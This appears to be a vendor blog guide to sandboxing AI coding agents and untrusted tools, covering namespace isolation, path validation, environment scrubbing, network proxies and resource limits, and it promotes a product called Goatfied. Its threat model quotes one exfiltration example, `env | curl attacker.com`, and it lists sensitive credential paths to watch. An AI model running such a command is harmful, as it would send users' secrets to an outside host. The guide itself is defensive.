ux
Sandboxing Untrusted Tools In Dev Workflows Implementation Guide: practical systems guide
Technical field guide on sandboxing untrusted tools in dev workflows implementation guide for teams building dependable AI coding workflows.
Letting an AI agent—or any automated tool—run arbitrary commands in your development environment sounds convenient until you realize it also has write access to your AWS credentials file, your SSH keys, and every environment variable your shell inherited. The problem isn't hypothetical: tools that execute generated code or shell commands can leak secrets, corrupt state, or inadvertently deploy half-baked changes if they run with your full user context.
This guide walks through practical sandboxing techniques that let you safely integrate untrusted or semi-trusted automation into real workflows without requiring a PhD in container security or a dedicated ops team.
Why sandboxing matters for AI-assisted development
When an AI coding assistant suggests `npm run build && npm run deploy`, it's easy to click "run" and hope the generated script does what you expect. But generated code can:
- Read files you didn't intend to expose (configuration, secrets)
- Write to paths outside the project directory
- Make network requests to arbitrary endpoints
- Spawn subprocesses that persist after the parent exits
Traditional code review catches these issues before merge, but AI-driven workflows often execute code *during* development—before human review—to validate suggestions, run tests, or gather context. That's where sandboxing shifts from nice-to-have to table stakes.
Threat model: what you're actually protecting against
Be realistic. You're not defending against a sophisticated adversary trying to break out of your sandbox. You're preventing:
1. **Accidental credential leakage**: an agent runs `env | curl attacker.com` because it misunderstood instructions
2. **Scope creep**: a tool meant to edit `src/` writes to `~/.ssh/config`
3. **Persistent side effects**: background processes, modified shell configs, installed packages that outlive the task
4. **Resource exhaustion**: unbounded loops that consume CPU/memory and freeze your editor
Sandboxing here means defense-in-depth, not a cryptographic guarantee.
Filesystem isolation with minimal overhead
Start by limiting filesystem visibility. You don't need full containerization for this.
**Linux: mount namespaces with `unshare`**
If you're on a recent kernel (4.8+), unprivileged user namespaces let you create isolated mount trees:
unshare --map-root-user --mount --pid --fork \
--mount-proc bash -c '
mount --bind /tmp/sandbox-root /tmp/sandbox-root
mount --bind /readonly-project /tmp/sandbox-root/project
cd /tmp/sandbox-root/project
exec your-tool-here
'
This gives the tool a view where only `/tmp/sandbox-root` exists, and your actual home directory is invisible. Bind-mount the project read-only if you want the tool to read code but not modify it directly.
**macOS: App Sandbox entitlements**
If you're wrapping the tool in a helper process, you can use macOS's sandbox profiles (`.sb` files) or entitlements for coarse-grained restrictions. For quick iteration, use a minimal Docker container instead—macOS filesystem isolation without containers is painful.
**Cross-platform: jailed project roots**
If full isolation is overkill, enforce that all filesystem operations stay within a project-relative chroot-like boundary:
function validatePath(requestedPath: string, projectRoot: string): string {
const resolved = path.resolve(projectRoot, requestedPath);
if (!resolved.startsWith(projectRoot)) {
throw new Error(`Path escape attempt: ${requestedPath}`);
}
return resolved;
}
Combine this with a watchlist of sensitive patterns (`~/.aws`, `/etc/passwd`, `.env`) and reject operations that match.
Environment variable scrubbing
Your shell environment is a treasure trove: `AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_URL`. Don't pass it wholesale to untrusted processes.
const safeEnv = {
PATH: process.env.PATH,
HOME: '/tmp/sandbox-home',
USER: 'sandbox',
// Explicitly allowlist project-specific vars
NODE_ENV: 'development',
};
spawn('your-tool', args, { env: safeEnv });
If the tool legitimately needs secrets (e.g., to run integration tests), inject them via a temporary credential file inside the sandbox, not as environment variables. Revoke or rotate those credentials after the task completes.
Network restrictions without iptables
Network access is harder to sandbox without root. Pragmatic options:
- **HTTP proxy**: run the tool through a local proxy (e.g., `mitmproxy`, `squid`) configured to allowlist known registries (npm, PyPI, crates.io) and block everything else. Set `HTTP_PROXY` and `HTTPS_PROXY` in the sandboxed environment.
- **DNS sinkhole**: point `/etc/hosts` inside the sandbox to `127.0.0.1` for suspicious domains. Won't stop IP-based connections but catches naive leakage attempts.
- **Firewall namespaces (Linux)**: combine `unshare --net` with a virtual ethernet pair. The sandbox gets a separate network stack you control, but this requires elevated privileges to set up.
For most workflows, the HTTP proxy approach is simplest. Log all requests for audit purposes.
Resource limits with ulimit and cgroups
Prevent runaway processes:
ulimit -t 60 # 60 CPU seconds
ulimit -v 2097152 # 2GB virtual memory
ulimit -n 256 # 256 open files
your-tool
On Linux, cgroups v2 gives finer control:
cgcreate -g memory,cpu:sandbox
echo "2G" > /sys/fs/cgroup/sandbox/memory.max
echo "100000" > /sys/fs/cgroup/sandbox/cpu.max # 1 CPU's worth
cgexec -g memory,cpu:sandbox your-tool
This matters when running large test suites or builds generated by an agent—you don't want a memory leak in the generated code to OOM your machine.
How Goatfied sandboxes the agent loop
Goatfied's agent loop (plan → constrain → edit → validate → retry) runs every edit through compile/lint/test gates *inside* an isolated execution context before committing changes. The sandbox config lives in `.goatfied/sandbox.yaml`:
filesystem:
root: /project
readonly: [".git", "node_modules"]
allowed_writes: ["src/**", "test/**", "*.test.ts"]
network:
allow: ["registry.npmjs.org", "api.github.com"]
limits:
cpu_seconds: 120
memory_mb: 4096
Each validation run gets a fresh container (or namespace on self-hosted setups) seeded with a clean copy of your project. If tests pass, the diff is surfaced for human review; if they fail, the agent retries with the error output but never writes broken code to your working directory. This makes sandboxing not just a security feature but part of the reliability guarantee.
Incremental hardening: start simple, layer in complexity
You don't need all of these techniques on day one. Start with:
1. Environment variable scrubbing (10 lines of code)
2. Filesystem path validation (another 20 lines)
3. Execution time limits (one `ulimit` call)
Add network proxying if you handle sensitive data, and containerization if you're exposing the workflow to external contributors. Measure the overhead—namespace creation is microseconds, Docker adds 100–500ms per run—and decide what's acceptable for your iteration speed.
Related reading
- [Goatfied vs Cursor vs GitHub Copilot: a benchmark across 50 real PR tasks](/blog/goatfied-vs-cursor-vs-github-copilot-benchmark-50-pr-tasks)
- [The Goatfied agent loop: how we ship code that actually compiles first try](/blog/goatfied-agent-loop-compiles-first-try)
